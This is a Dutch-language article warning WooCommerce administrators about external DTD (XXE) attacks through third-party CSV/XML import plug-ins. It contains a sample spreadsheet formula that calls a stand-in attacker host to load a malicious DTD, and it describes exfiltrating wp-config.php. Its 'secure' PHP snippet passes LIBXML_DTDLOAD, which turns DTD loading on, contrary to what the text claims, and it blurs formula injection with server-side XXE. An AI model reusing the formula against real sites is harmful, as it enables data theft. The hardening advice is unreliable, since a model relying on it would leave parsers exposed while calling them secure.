Het importeren van productgegevens via CSV-bestanden is een dagelijkse taak voor veel e-commerce beheerders. WooCommerce beschikt over een robuuste ingebouwde CSV-importeur. Echter, als u gebruikmaakt van extensies van derden die ook XML- of CSV-bestanden verwerken en deze bestanden niet correct saneren, ontstaat er een risico op een specifieke variant van XML-injectie: External DTD (Document Type Definition) exploits.
Hoe een External DTD exploit werkt
Hoewel een CSV-bestand in de basis een puur tekstbestand is, kunnen geavanceerde import-plug-ins op de achtergrond gebruikmaken van XML-parsers om specifieke datastructuren te verwerken, of ze kunnen kwetsbaar zijn voor formule-injecties die op hun beurt externe bronnen aanroepen.
Als een aanvaller een productbeschrijving injecteert met een kwaadaardige formule die probeert een extern XML-bestand te laden via een spreadsheet-koppeling, kan de server bij het verwerken van de export kwetsbaar worden voor een XML External Entity (XXE) aanval.
=WEBSERVICE("http://kwaadaardigesite.com/malicious.dtd")
Wanneer de server dit bestand opent of verwerkt, kan de parser worden gedwongen om verbinding te maken met de externe server van de hacker om een DTD-bestand op te halen. Dit bestand kan vervolgens instructies bevatten om lokale systeembestanden (zoals wp-config.php) uit te lezen en de inhoud via een HTTP-verzoek terug te sturen naar de hacker.
Hoe ontwikkelaars CSV/XML imports beveiligen
Ontwikkelaars moeten ervoor zorgen dat bij het verwerken van bestanden alle vormen van externe entiteits- en DTD-transfers expliciet zijn uitgeschakeld binnen de PHP-configuratie.
// Schakel het laden de externe entiteiten uit bij XML-verwerking
if (function_exists('libxml_disable_entity_loader')) {
libxml_disable_entity_loader(true);
}
// Gebruik veilige parameters bij het laden van XML-strings
$dom = new DOMDocument();
$dom->loadXML($xml_data, LIBXML_NONET | LIBXML_DTDLOAD);
Het gebruik de LIBXML_NONET zorgt ervoor dat de server onder geen beding netwerkverbindingen mag opzetten tijdens het parsen van het bestand.
Advies voor site-beheerders
-
Vertrouw alleen de core-importeur: Gebruik voor het bijwerken van uw WooCommerce-voorraad bij voorkeur de ingebouwde product-importeur van WooCommerce zelf. Deze is door de core-ontwikkelaars uitgebreid geaudit en beveiligd tegen dit soort geavanceerde parser-exploits.
